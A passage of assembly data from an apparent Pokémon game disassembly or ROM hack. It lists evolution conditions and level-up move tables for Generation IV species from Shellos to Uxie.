dbw 7, GROWTH
dbw 10, LEECH_SEED
dbw 13, HELPING_HAND
dbw 19, MAGICAL_LEAF
dbw 22, SUNNY_DAY
dbw 25, PETAL_DANCE
dbw 30, WORRY_SEED
dbw 35, TAKE_DOWN
dbw 43, SOLARBEAM
dbw 48, LUCKY_CHANT
db 0 ; no more level-up moves
ShellosEvosAttacks:
dbbw EVOLVE_LEVEL, 30, GASTRODON
db 0 ; no more evolutions
dbw 1, MUD_SLAP
dbw 2, MUD_SPORT
dbw 4, HARDEN
dbw 7, WATER_PULSE
dbw 11, MUD_BOMB
dbw 16, HIDDEN_POWER
dbw 22, RAIN_DANCE
dbw 29, BODY_SLAM
dbw 37, MUDDY_WATER
dbw 46, RECOVER
db 0 ; no more level-up moves
GastrodonEvosAttacks:
db 0 ; no more evolutions
dbw 1, HARDEN
dbw 1, MUD_SLAP
dbw 1, MUD_SPORT
dbw 1, WATER_PULSE
dbw 2, MUD_SPORT
dbw 4, HARDEN
dbw 7, WATER_PULSE
dbw 11, MUD_BOMB
dbw 16, HIDDEN_POWER
dbw 22, RAIN_DANCE
dbw 29, BODY_SLAM
dbw 41, MUDDY_WATER
dbw 54, RECOVER
db 0 ; no more level-up moves
AmbipomEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, SAND_ATTACK
dbw 1, TAIL_WHIP
dbw 1, ASTONISH
dbw 4, SAND_ATTACK
dbw 8, ASTONISH
dbw 11, BATON_PASS
dbw 15, TICKLE
dbw 18, FURY_SWIPES
dbw 22, SWIFT
dbw 25, SCREECH
dbw 29, AGILITY
dbw 32, DOUBLE_HIT
dbw 36, FLING
dbw 39, NASTY_PLOT
dbw 43, LAST_RESORT
db 0 ; no more level-up moves
DrifloonEvosAttacks:
dbbw EVOLVE_LEVEL, 28, DRIFBLIM
db 0 ; no more evolutions
dbw 1, MINIMIZE
dbw 1, CONSTRICT
dbw 6, ASTONISH
dbw 11, GUST
dbw 14, FOCUS_ENERGY
dbw 17, PAYBACK
dbw 22, STOCKPILE
dbw 27, SPIT_UP
dbw 27, SWALLOW
dbw 30, OMINOUS_WIND
dbw 33, BATON_PASS
dbw 38, SHADOW_BALL
dbw 43, EXPLOSION
db 0 ; no more level-up moves
DrifblimEvosAttacks:
db 0 ; no more evolutions
dbw 1, GUST
dbw 1, MINIMIZE
dbw 1, CONSTRICT
dbw 1, ASTONISH
dbw 6, ASTONISH
dbw 11, GUST
dbw 14, FOCUS_ENERGY
dbw 17, PAYBACK
dbw 22, STOCKPILE
dbw 27, SPIT_UP
dbw 27, SWALLOW
dbw 32, OMINOUS_WIND
dbw 37, BATON_PASS
dbw 44, SHADOW_BALL
dbw 51, EXPLOSION
db 0 ; no more level-up moves
BunearyEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_ANYTIME, LOPUNNY
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, DEFENSE_CURL
dbw 1, SPLASH
dbw 1, FORESIGHT
dbw 6, ENDURE
dbw 13, FRUSTRATION
dbw 16, QUICK_ATTACK
dbw 23, JUMP_KICK
dbw 26, BATON_PASS
dbw 33, AGILITY
dbw 36, DIZZY_PUNCH
dbw 43, CHARM
dbw 46, BOUNCE
dbw 53, HEALING_WISH
db 0 ; no more level-up moves
LopunnyEvosAttacks:
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, DEFENSE_CURL
dbw 1, SPLASH
dbw 1, FORESIGHT
dbw 1, MIRROR_COAT
dbw 1, MAGIC_COAT
dbw 6, ENDURE
dbw 13, RETURN
dbw 16, QUICK_ATTACK
dbw 23, JUMP_KICK
dbw 26, BATON_PASS
dbw 33, AGILITY
dbw 36, DIZZY_PUNCH
dbw 43, CHARM
dbw 46, BOUNCE
dbw 53, HEALING_WISH
db 0 ; no more level-up moves
MismagiusEvosAttacks:
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, PSYWAVE
dbw 1, SPITE
dbw 1, ASTONISH
dbw 1, MAGICAL_LEAF
dbw 1, LUCKY_CHANT
db 0 ; no more level-up moves
HonchkrowEvosAttacks:
db 0 ; no more evolutions
dbw 1, WING_ATTACK
dbw 1, HAZE
dbw 1, PURSUIT
dbw 1, ASTONISH
dbw 25, SWAGGER
dbw 35, NASTY_PLOT
dbw 45, NIGHT_SLASH
dbw 55, DARK_PULSE
db 0 ; no more level-up moves
GlameowEvosAttacks:
dbbw EVOLVE_LEVEL, 38, PURUGLY
db 0 ; no more evolutions
dbw 1, FAKE_OUT
dbw 5, SCRATCH
dbw 8, GROWL
dbw 13, HYPNOSIS
dbw 17, FAINT_ATTACK
dbw 20, FURY_SWIPES
dbw 25, CHARM
dbw 29, ASSIST
dbw 32, CAPTIVATE
dbw 37, SLASH
dbw 41, SUCKER_PUNCH
dbw 45, ATTRACT
db 0 ; no more level-up moves
PuruglyEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, GROWL
dbw 1, FAKE_OUT
dbw 5, SCRATCH
dbw 8, GROWL
dbw 13, HYPNOSIS
dbw 17, FAINT_ATTACK
dbw 20, FURY_SWIPES
dbw 25, CHARM
dbw 29, ASSIST
dbw 32, CAPTIVATE
dbw 37, SLASH
dbw 38, SWAGGER
dbw 45, BODY_SLAM
dbw 53, ATTRACT
db 0 ; no more level-up moves
ChinglingEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_NITE, CHIMECHO
db 0 ; no more evolutions
dbw 1, WRAP
dbw 6, GROWL
dbw 9, ASTONISH
dbw 14, CONFUSION
dbw 17, UPROAR
dbw 22, LAST_RESORT
db 0 ; no more level-up moves
StunkyEvosAttacks:
dbbw EVOLVE_LEVEL, 34, SKUNTANK
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, FOCUS_ENERGY
dbw 4, POISON_GAS
dbw 7, SCREECH
dbw 10, FURY_SWIPES
dbw 14, SMOKESCREEN
dbw 18, FEINT
dbw 22, SLASH
dbw 27, TOXIC
dbw 32, NIGHT_SLASH
dbw 38, MEMENTO
dbw 44, EXPLOSION
db 0 ; no more level-up moves
SkuntankEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, FOCUS_ENERGY
dbw 1, POISON_GAS
dbw 4, POISON_GAS
dbw 7, SCREECH
dbw 10, FURY_SWIPES
dbw 14, SMOKESCREEN
dbw 18, FEINT
dbw 22, SLASH
dbw 27, TOXIC
dbw 32, NIGHT_SLASH
dbw 34, FLAMETHROWER
dbw 42, MEMENTO
dbw 52, EXPLOSION
db 0 ; no more level-up moves
BronzorEvosAttacks:
dbbw EVOLVE_LEVEL, 33, BRONZONG
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, CONFUSION
dbw 7, HYPNOSIS
dbw 12, IMPRISON
dbw 14, CONFUSE_RAY
dbw 19, EXTRASENSORY
dbw 26, IRON_DEFENSE
dbw 30, SAFEGUARD
dbw 35, GYRO_BALL
dbw 37, FUTURE_SIGHT
dbw 41, FAINT_ATTACK
dbw 49, PAYBACK
dbw 52, HEAL_BLOCK
db 0 ; no more level-up moves
BronzongEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, CONFUSION
dbw 1, HYPNOSIS
dbw 1, RAIN_DANCE
dbw 1, SUNNY_DAY
dbw 1, IMPRISON
dbw 7, HYPNOSIS
dbw 12, IMPRISON
dbw 14, CONFUSE_RAY
dbw 19, EXTRASENSORY
dbw 26, IRON_DEFENSE
dbw 30, SAFEGUARD
dbw 33, BLOCK
dbw 38, GYRO_BALL
dbw 43, FUTURE_SIGHT
dbw 50, FAINT_ATTACK
dbw 61, PAYBACK
dbw 67, HEAL_BLOCK
db 0 ; no more level-up moves
BonslyEvosAttacks:
dbbww EVOLVE_LEVEL_WITH_MOVE, 1, MIMIC, SUDOWOODO
db 0 ; no more evolutions
dbw 1, FAKE_TEARS
dbw 1, COPYCAT
dbw 6, FLAIL
dbw 9, LOW_KICK
dbw 14, ROCK_THROW
dbw 17, MIMIC
dbw 22, BLOCK
dbw 25, FAINT_ATTACK
dbw 30, ROCK_TOMB
dbw 33, ROCK_SLIDE
dbw 38, SLAM
dbw 41, SUCKER_PUNCH
dbw 46, DOUBLE_EDGE
db 0 ; no more level-up moves
MimeJrEvosAttacks:
dbbww EVOLVE_LEVEL_WITH_MOVE, 1, MIMIC, MR__MIME
db 0 ; no more evolutions
dbw 1, CONFUSION
dbw 1, BARRIER
dbw 1, TICKLE
dbw 4, COPYCAT
dbw 8, MEDITATE
dbw 11, ENCORE
dbw 15, DOUBLESLAP
dbw 18, MIMIC
dbw 22, LIGHT_SCREEN
dbw 22, REFLECT
dbw 25, PSYBEAM
dbw 29, SUBSTITUTE
dbw 32, RECYCLE
dbw 36, TRICK
dbw 39, PSYCHIC_M
dbw 43, ROLE_PLAY
dbw 46, BATON_PASS
dbw 50, SAFEGUARD
db 0 ; no more level-up moves
HappinyEvosAttacks:
dbbbw EVOLVE_LEVEL_WITH_ITEM_DAY, 1, OVAL_STONE, CHANSEY
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, CHARM
dbw 5, COPYCAT
dbw 9, REFRESH
dbw 12, SWEET_KISS
db 0 ; no more level-up moves
ChatotEvosAttacks:
db 0 ; no more evolutions
dbw 1, PECK
dbw 5, GROWL
dbw 9, MIRROR_MOVE
dbw 13, SING
dbw 17, FURY_ATTACK
dbw 21, CHATTER
dbw 25, TAUNT
dbw 29, MIMIC
dbw 33, ROOST
dbw 37, UPROAR
dbw 41, FEATHERDANCE
dbw 45, HYPER_VOICE
db 0 ; no more level-up moves
SpiritombEvosAttacks:
db 0 ; no more evolutions
dbw 1, CONFUSE_RAY
dbw 1, CURSE
dbw 1, SPITE
dbw 1, PURSUIT
dbw 1, SHADOW_SNEAK
dbw 7, FAINT_ATTACK
dbw 13, HYPNOSIS
dbw 19, DREAM_EATER
dbw 25, OMINOUS_WIND
dbw 31, SUCKER_PUNCH
dbw 37, NASTY_PLOT
dbw 43, MEMENTO
dbw 49, DARK_PULSE
db 0 ; no more level-up moves
GibleEvosAttacks:
dbbw EVOLVE_LEVEL, 24, GABITE
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 3, SAND_ATTACK
dbw 7, DRAGON_RAGE
dbw 13, SANDSTORM
dbw 15, TAKE_DOWN
dbw 19, SAND_TOMB
dbw 25, SLASH
dbw 27, DRAGON_CLAW
dbw 31, DIG
dbw 37, DRAGON_RUSH
db 0 ; no more level-up moves
GabiteEvosAttacks:
dbbw EVOLVE_LEVEL, 48, GARCHOMP
db 0 ; no more evolutions
dbw 1, SAND_ATTACK
dbw 1, TACKLE
dbw 3, SAND_ATTACK
dbw 7, DRAGON_RAGE
dbw 13, SANDSTORM
dbw 15, TAKE_DOWN
dbw 19, SAND_TOMB
dbw 28, SLASH
dbw 33, DRAGON_CLAW
dbw 40, DIG
dbw 49, DRAGON_RUSH
db 0 ; no more level-up moves
GarchompEvosAttacks:
db 0 ; no more evolutions
dbw 1, SAND_ATTACK
dbw 1, TACKLE
dbw 1, DRAGON_RAGE
dbw 1, SANDSTORM
dbw 1, FIRE_FANG
dbw 3, SAND_ATTACK
dbw 7, DRAGON_RAGE
dbw 13, SANDSTORM
dbw 15, TAKE_DOWN
dbw 19, SAND_TOMB
dbw 28, SLASH
dbw 33, DRAGON_CLAW
dbw 40, DIG
dbw 48, CRUNCH
dbw 55, DRAGON_RUSH
db 0 ; no more level-up moves
MunchlaxEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_ANYTIME, SNORLAX
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, METRONOME
dbw 1, ODOR_SLEUTH
dbw 4, DEFENSE_CURL
dbw 9, AMNESIA
dbw 12, LICK
dbw 17, RECYCLE
dbw 20, SCREECH
dbw 25, STOCKPILE
dbw 28, SWALLOW
dbw 33, BODY_SLAM
dbw 36, FLING
dbw 41, ROLLOUT
dbw 44, NATURAL_GIFT
dbw 49, LAST_RESORT
db 0 ; no more level-up moves
RioluEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_MORNDAY, LUCARIO
db 0 ; no more evolutions
dbw 1, QUICK_ATTACK
dbw 1, FORESIGHT
dbw 1, ENDURE
dbw 6, COUNTER
dbw 11, FORCE_PALM
dbw 15, FEINT
dbw 19, REVERSAL
dbw 24, SCREECH
dbw 29, COPYCAT
db 0 ; no more level-up moves
LucarioEvosAttacks:
db 0 ; no more evolutions
dbw 1, QUICK_ATTACK
dbw 1, FORESIGHT
dbw 1, DETECT
dbw 1, METAL_CLAW
dbw 1, DARK_PULSE
dbw 6, COUNTER
dbw 11, FORCE_PALM
dbw 15, FEINT
dbw 19, BONE_RUSH
dbw 24, METAL_SOUND
dbw 29, ME_FIRST
dbw 33, SWORDS_DANCE
dbw 37, AURA_SPHERE
dbw 42, CLOSE_COMBAT
dbw 47, DRAGON_PULSE
dbw 51, EXTREMESPEED
db 0 ; no more level-up moves
HippopotasEvosAttacks:
dbbw EVOLVE_LEVEL, 34, HIPPOWDON
db 0 ; no more evolutions
dbw 1, SAND_ATTACK
dbw 1, TACKLE
dbw 7, BITE
dbw 13, YAWN
dbw 19, TAKE_DOWN
dbw 25, SAND_TOMB
dbw 31, CRUNCH
dbw 37, EARTHQUAKE
dbw 44, DOUBLE_EDGE
dbw 50, FISSURE
db 0 ; no more level-up moves
HippowdonEvosAttacks:
db 0 ; no more evolutions
dbw 1, SAND_ATTACK
dbw 1, TACKLE
dbw 1, BITE
dbw 1, YAWN
dbw 1, THUNDER_FANG
dbw 1, ICE_FANG
dbw 1, FIRE_FANG
dbw 7, BITE
dbw 13, YAWN
dbw 19, TAKE_DOWN
dbw 25, SAND_TOMB
dbw 31, CRUNCH
dbw 40, EARTHQUAKE
dbw 50, DOUBLE_EDGE
dbw 60, FISSURE
db 0 ; no more level-up moves
SkorupiEvosAttacks:
dbbw EVOLVE_LEVEL, 40, DRAPION
db 0 ; no more evolutions
dbw 1, POISON_STING
dbw 1, LEER
dbw 1, BITE
dbw 6, KNOCK_OFF
dbw 12, PIN_MISSILE
dbw 17, ACUPRESSURE
dbw 23, SCARY_FACE
dbw 28, TOXIC_SPIKES
dbw 34, BUG_BITE
dbw 39, POISON_FANG
dbw 45, CRUNCH
dbw 50, CROSS_POISON
db 0 ; no more level-up moves
DrapionEvosAttacks:
db 0 ; no more evolutions
dbw 1, POISON_STING
dbw 1, LEER
dbw 1, BITE
dbw 1, KNOCK_OFF
dbw 1, THUNDER_FANG
dbw 1, ICE_FANG
dbw 1, FIRE_FANG
dbw 6, KNOCK_OFF
dbw 12, PIN_MISSILE
dbw 17, ACUPRESSURE
dbw 23, SCARY_FACE
dbw 28, TOXIC_SPIKES
dbw 34, BUG_BITE
dbw 39, POISON_FANG
dbw 49, CRUNCH
dbw 58, CROSS_POISON
db 0 ; no more level-up moves
CroagunkEvosAttacks:
dbbw EVOLVE_LEVEL, 37, TOXICROAK
db 0 ; no more evolutions
dbw 1, ASTONISH
dbw 3, MUD_SLAP
dbw 8, POISON_STING
dbw 10, TAUNT
dbw 15, PURSUIT
dbw 17, FAINT_ATTACK
dbw 22, REVENGE
dbw 24, SWAGGER
dbw 29, MUD_BOMB
dbw 31, SUCKER_PUNCH
dbw 36, NASTY_PLOT
dbw 38, POISON_JAB
dbw 43, SLUDGE_BOMB
dbw 45, FLATTER
db 0 ; no more level-up moves
ToxicroakEvosAttacks:
db 0 ; no more evolutions
dbw 1, POISON_STING
dbw 1, MUD_SLAP
dbw 1, ASTONISH
dbw 3, MUD_SLAP
dbw 8, POISON_STING
dbw 10, TAUNT
dbw 15, PURSUIT
dbw 17, FAINT_ATTACK
dbw 22, REVENGE
dbw 24, SWAGGER
dbw 29, MUD_BOMB
dbw 31, SUCKER_PUNCH
dbw 36, NASTY_PLOT
dbw 41, POISON_JAB
dbw 49, SLUDGE_BOMB
dbw 54, FLATTER
db 0 ; no more level-up moves
CarnivineEvosAttacks:
db 0 ; no more evolutions
dbw 1, BIND
dbw 1, GROWTH
dbw 7, BITE
dbw 11, VINE_WHIP
dbw 17, SWEET_SCENT
dbw 21, INGRAIN
dbw 27, FAINT_ATTACK
dbw 31, STOCKPILE
dbw 31, SPIT_UP
dbw 31, SWALLOW
dbw 37, CRUNCH
dbw 41, WRING_OUT
dbw 47, POWER_WHIP
db 0 ; no more level-up moves
FinneonEvosAttacks:
dbbw EVOLVE_LEVEL, 31, LUMINEON
db 0 ; no more evolutions
dbw 1, POUND
dbw 6, WATER_GUN
dbw 10, ATTRACT
dbw 13, RAIN_DANCE
dbw 17, GUST
dbw 22, WATER_PULSE
dbw 26, CAPTIVATE
dbw 29, SAFEGUARD
dbw 33, AQUA_RING
dbw 38, WHIRLPOOL
dbw 42, U_TURN
dbw 45, BOUNCE
dbw 49, SILVER_WIND
db 0 ; no more level-up moves
LumineonEvosAttacks:
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, WATER_GUN
dbw 1, ATTRACT
dbw 6, WATER_GUN
dbw 10, ATTRACT
dbw 13, RAIN_DANCE
dbw 17, GUST
dbw 22, WATER_PULSE
dbw 26, CAPTIVATE
dbw 29, SAFEGUARD
dbw 35, AQUA_RING
dbw 42, WHIRLPOOL
dbw 48, U_TURN
dbw 53, BOUNCE
dbw 59, SILVER_WIND
db 0 ; no more level-up moves
MantykeEvosAttacks:
dbbww EVOLVE_LEVEL_PARTY_MON, 1, REMORAID, MANTINE
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, BUBBLE
dbw 4, SUPERSONIC
dbw 10, BUBBLEBEAM
dbw 13, HEADBUTT
dbw 19, AGILITY
dbw 22, WING_ATTACK
dbw 28, WATER_PULSE
dbw 31, TAKE_DOWN
dbw 37, CONFUSE_RAY
dbw 40, BOUNCE
dbw 46, AQUA_RING
dbw 49, HYDRO_PUMP
db 0 ; no more level-up moves
SnoverEvosAttacks:
dbbw EVOLVE_LEVEL, 40, ABOMASNOW
db 0 ; no more evolutions
dbw 1, LEER
dbw 1, POWDER_SNOW
dbw 5, RAZOR_LEAF
dbw 9, ICY_WIND
dbw 13, GRASSWHISTLE
dbw 17, SWAGGER
dbw 21, MIST
dbw 26, ICE_SHARD
dbw 31, INGRAIN
dbw 36, WOOD_HAMMER
dbw 41, BLIZZARD
dbw 46, SHEER_COLD
db 0 ; no more level-up moves
AbomasnowEvosAttacks:
db 0 ; no more evolutions
dbw 1, ICE_PUNCH
dbw 1, LEER
dbw 1, RAZOR_LEAF
dbw 1, POWDER_SNOW
dbw 1, ICY_WIND
dbw 5, RAZOR_LEAF
dbw 9, ICY_WIND
dbw 13, GRASSWHISTLE
dbw 17, SWAGGER
dbw 21, MIST
dbw 26, ICE_SHARD
dbw 31, INGRAIN
dbw 36, WOOD_HAMMER
dbw 47, BLIZZARD
dbw 58, SHEER_COLD
db 0 ; no more level-up moves
WeavileEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 1, QUICK_ATTACK
dbw 1, TAUNT
dbw 1, REVENGE
dbw 1, ASSURANCE
dbw 1, EMBARGO
dbw 8, QUICK_ATTACK
dbw 10, SCREECH
dbw 14, FAINT_ATTACK
dbw 21, FURY_SWIPES
dbw 24, NASTY_PLOT
dbw 28, ICY_WIND
dbw 35, NIGHT_SLASH
dbw 38, FLING
dbw 42, METAL_CLAW
dbw 49, DARK_PULSE
db 0 ; no more level-up moves
MagnezoneEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, SUPERSONIC
dbw 1, THUNDERSHOCK
dbw 1, BARRIER
dbw 1, MIRROR_COAT
dbw 1, METAL_SOUND
dbw 6, THUNDERSHOCK
dbw 11, SUPERSONIC
dbw 14, SONICBOOM
dbw 17, THUNDER_WAVE
dbw 22, SPARK
dbw 27, LOCK_ON
dbw 30, MAGNET_BOMB
dbw 34, SCREECH
dbw 40, DISCHARGE
dbw 46, MIRROR_SHOT
dbw 50, MAGNET_RISE
dbw 54, GYRO_BALL
dbw 60, ZAP_CANNON
db 0 ; no more level-up moves
LickilickyEvosAttacks:
db 0 ; no more evolutions
dbw 1, LICK
dbw 5, SUPERSONIC
dbw 9, DEFENSE_CURL
dbw 13, KNOCK_OFF
dbw 17, WRAP
dbw 21, STOMP
dbw 25, DISABLE
dbw 29, SLAM
dbw 33, ROLLOUT
dbw 37, ME_FIRST
dbw 41, REFRESH
dbw 45, SCREECH
dbw 49, POWER_WHIP
dbw 53, WRING_OUT
dbw 57, GYRO_BALL
db 0 ; no more level-up moves
RhyperiorEvosAttacks:
db 0 ; no more evolutions
dbw 1, STOMP
dbw 1, HORN_ATTACK
dbw 1, FURY_ATTACK
dbw 1, TAIL_WHIP
dbw 1, POISON_JAB
dbw 9, STOMP
dbw 13, FURY_ATTACK
dbw 21, SCARY_FACE
dbw 25, ROCK_BLAST
dbw 33, TAKE_DOWN
dbw 37, HORN_DRILL
dbw 42, HAMMER_ARM
dbw 45, STONE_EDGE
dbw 49, EARTHQUAKE
dbw 57, MEGAHORN
dbw 61, ROCK_WRECKER
db 0 ; no more level-up moves
TangrowthEvosAttacks:
db 0 ; no more evolutions
dbw 1, CONSTRICT
dbw 1, INGRAIN
dbw 5, SLEEP_POWDER
dbw 8, ABSORB
dbw 12, GROWTH
dbw 15, POISONPOWDER
dbw 19, VINE_WHIP
dbw 22, BIND
dbw 26, MEGA_DRAIN
dbw 29, STUN_SPORE
dbw 33, ANCIENTPOWER
dbw 36, KNOCK_OFF
dbw 40, NATURAL_GIFT
dbw 43, SLAM
dbw 47, TICKLE
dbw 50, WRING_OUT
dbw 54, POWER_WHIP
dbw 57, BLOCK
db 0 ; no more level-up moves
ElectivireEvosAttacks:
db 0 ; no more evolutions
dbw 1, FIRE_PUNCH
dbw 1, LEER
dbw 1, LOW_KICK
dbw 1, THUNDERSHOCK
dbw 1, QUICK_ATTACK
dbw 7, THUNDERSHOCK
dbw 10, LOW_KICK
dbw 16, SWIFT
dbw 19, SHOCK_WAVE
dbw 25, LIGHT_SCREEN
dbw 28, THUNDERPUNCH
dbw 37, DISCHARGE
dbw 43, THUNDERBOLT
dbw 52, SCREECH
dbw 58, THUNDER
dbw 67, GIGA_IMPACT
db 0 ; no more level-up moves
MagmortarEvosAttacks:
db 0 ; no more evolutions
dbw 1, THUNDERPUNCH
dbw 1, LEER
dbw 1, EMBER
dbw 1, SMOKESCREEN
dbw 1, SMOG
dbw 7, EMBER
dbw 10, SMOKESCREEN
dbw 16, FAINT_ATTACK
dbw 19, FIRE_SPIN
dbw 25, CONFUSE_RAY
dbw 28, FIRE_PUNCH
dbw 37, LAVA_PLUME
dbw 43, FLAMETHROWER
dbw 52, SUNNY_DAY
dbw 58, FIRE_BLAST
dbw 67, HYPER_BEAM
db 0 ; no more level-up moves
TogekissEvosAttacks:
db 0 ; no more evolutions
dbw 1, SKY_ATTACK
dbw 1, EXTREMESPEED
dbw 1, AURA_SPHERE
dbw 1, AIR_SLASH
db 0 ; no more level-up moves
YanmegaEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, QUICK_ATTACK
dbw 1, DOUBLE_TEAM
dbw 1, FORESIGHT
dbw 1, NIGHT_SLASH
dbw 1, BUG_BITE
dbw 6, QUICK_ATTACK
dbw 11, DOUBLE_TEAM
dbw 14, SONICBOOM
dbw 17, DETECT
dbw 22, SUPERSONIC
dbw 27, UPROAR
dbw 30, PURSUIT
dbw 33, ANCIENTPOWER
dbw 38, FEINT
dbw 43, SLASH
dbw 46, SCREECH
dbw 49, U_TURN
dbw 54, AIR_SLASH
dbw 57, BUG_BUZZ
db 0 ; no more level-up moves
LeafeonEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, TAIL_WHIP
dbw 1, HELPING_HAND
dbw 8, SAND_ATTACK
dbw 15, RAZOR_LEAF
dbw 22, QUICK_ATTACK
dbw 29, SYNTHESIS
dbw 36, MAGICAL_LEAF
dbw 43, GIGA_DRAIN
dbw 50, LAST_RESORT
dbw 57, GRASSWHISTLE
dbw 64, SUNNY_DAY
dbw 71, LEAF_BLADE
dbw 78, SWORDS_DANCE
db 0 ; no more level-up moves
GlaceonEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, TAIL_WHIP
dbw 1, HELPING_HAND
dbw 8, SAND_ATTACK
dbw 15, ICY_WIND
dbw 22, QUICK_ATTACK
dbw 29, BITE
dbw 36, ICE_SHARD
dbw 43, ICE_FANG
dbw 50, LAST_RESORT
dbw 57, MIRROR_COAT
dbw 64, HAIL
dbw 71, BLIZZARD
dbw 78, BARRIER
db 0 ; no more level-up moves
GliscorEvosAttacks:
db 0 ; no more evolutions
dbw 1, SAND_ATTACK
dbw 1, HARDEN
dbw 1, KNOCK_OFF
dbw 1, POISON_JAB
dbw 1, THUNDER_FANG
dbw 1, ICE_FANG
dbw 1, FIRE_FANG
dbw 5, SAND_ATTACK
dbw 9, HARDEN
dbw 12, KNOCK_OFF
dbw 16, QUICK_ATTACK
dbw 20, FURY_CUTTER
dbw 23, FAINT_ATTACK
dbw 27, SCREECH
dbw 31, NIGHT_SLASH
dbw 34, SWORDS_DANCE
dbw 38, U_TURN
dbw 42, X_SCISSOR
dbw 45, GUILLOTINE
db 0 ; no more level-up moves
MamoswineEvosAttacks:
db 0 ; no more evolutions
dbw 1, PECK
dbw 1, POWDER_SNOW
dbw 1, ANCIENTPOWER
dbw 1, MUD_SPORT
dbw 1, ODOR_SLEUTH
dbw 4, MUD_SPORT
dbw 8, POWDER_SNOW
dbw 13, MUD_SLAP
dbw 16, ENDURE
dbw 20, MUD_BOMB
dbw 25, HAIL
dbw 28, ICE_FANG
dbw 32, TAKE_DOWN
dbw 33, DOUBLE_HIT
dbw 40, EARTHQUAKE
dbw 48, MIST
dbw 56, BLIZZARD
dbw 65, SCARY_FACE
db 0 ; no more level-up moves
PorygonZEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, CONVERSION
dbw 1, CONVERSION2
dbw 1, NASTY_PLOT
dbw 1, TRICK_ROOM
dbw 7, PSYBEAM
dbw 12, AGILITY
dbw 18, RECOVER
dbw 23, MAGNET_RISE
dbw 29, SIGNAL_BEAM
dbw 34, EMBARGO
dbw 40, DISCHARGE
dbw 45, LOCK_ON
dbw 51, TRI_ATTACK
dbw 56, MAGIC_COAT
dbw 62, ZAP_CANNON
dbw 67, HYPER_BEAM
db 0 ; no more level-up moves
GalladeEvosAttacks:
db 0 ; no more evolutions
dbw 1, LEER
dbw 1, CONFUSION
dbw 1, TELEPORT
dbw 1, DOUBLE_TEAM
dbw 1, LEAF_BLADE
dbw 1, NIGHT_SLASH
dbw 6, CONFUSION
dbw 10, DOUBLE_TEAM
dbw 12, TELEPORT
dbw 17, FURY_CUTTER
dbw 22, SLASH
dbw 25, SWORDS_DANCE
dbw 31, PSYCHO_CUT
dbw 36, HELPING_HAND
dbw 39, FEINT
dbw 45, FALSE_SWIPE
dbw 50, PROTECT
dbw 53, CLOSE_COMBAT
db 0 ; no more level-up moves
ProbopassEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, IRON_DEFENSE
dbw 1, BLOCK
dbw 1, GRAVITY
dbw 1, MAGNET_RISE
dbw 1, MAGNET_BOMB
dbw 7, IRON_DEFENSE
dbw 13, MAGNET_BOMB
dbw 19, BLOCK
dbw 25, THUNDER_WAVE
dbw 31, ROCK_SLIDE
dbw 37, SANDSTORM
dbw 43, REST
dbw 49, POWER_GEM
dbw 55, DISCHARGE
dbw 61, STONE_EDGE
dbw 67, ZAP_CANNON
dbw 73, LOCK_ON
dbw 79, EARTH_POWER
db 0 ; no more level-up moves
DusknoirEvosAttacks:
db 0 ; no more evolutions
dbw 1, FIRE_PUNCH
dbw 1, ICE_PUNCH
dbw 1, THUNDERPUNCH
dbw 1, BIND
dbw 1, LEER
dbw 1, DISABLE
dbw 1, NIGHT_SHADE
dbw 1, GRAVITY
dbw 6, DISABLE
dbw 9, FORESIGHT
dbw 14, ASTONISH
dbw 17, CONFUSE_RAY
dbw 22, SHADOW_SNEAK
dbw 25, PURSUIT
dbw 30, CURSE
dbw 33, WILL_O_WISP
dbw 37, SHADOW_PUNCH
dbw 43, MEAN_LOOK
dbw 51, PAYBACK
dbw 61, FUTURE_SIGHT
db 0 ; no more level-up moves
FroslassEvosAttacks:
db 0 ; no more evolutions
dbw 1, LEER
dbw 1, DOUBLE_TEAM
dbw 1, POWDER_SNOW
dbw 1, ASTONISH
dbw 4, DOUBLE_TEAM
dbw 10, ASTONISH
dbw 13, ICY_WIND
dbw 19, CONFUSE_RAY
dbw 22, OMINOUS_WIND
dbw 28, WAKE_UP_SLAP
dbw 31, CAPTIVATE
dbw 37, ICE_SHARD
dbw 40, HAIL
dbw 51, BLIZZARD
dbw 59, DESTINY_BOND
db 0 ; no more level-up moves
RotomEvosAttacks:
db 0 ; no more evolutions
dbw 1, THUNDERSHOCK
dbw 1, THUNDER_WAVE
dbw 1, CONFUSE_RAY
dbw 1, TRICK
dbw 1, ASTONISH
dbw 8, UPROAR
dbw 15, DOUBLE_TEAM
dbw 22, SHOCK_WAVE
dbw 29, OMINOUS_WIND
dbw 36, SUBSTITUTE
dbw 43, CHARGE
dbw 50, DISCHARGE
db 0 ; no more level-up moves
UxieEvosAttacks:
db 0 ; no more evolutions
dbw 1, CONFUSION
dbw 1, REST
dbw 6, IMPRISON
dbw 16, ENDURE
dbw 21, SWIFT
dbw 31, YAWN
dbw 36, FUTURE_SIGHT
dbw 46, AMNESIA
dbw 51, EXTRASENSORY
dbw 61, FLAIL
dbw 66, NATURAL_GIFT
dbw 76, MEMENTO
db 0 ; no more level-up moves
MespritEvosAttacks:
db 0 ; no more evolutions
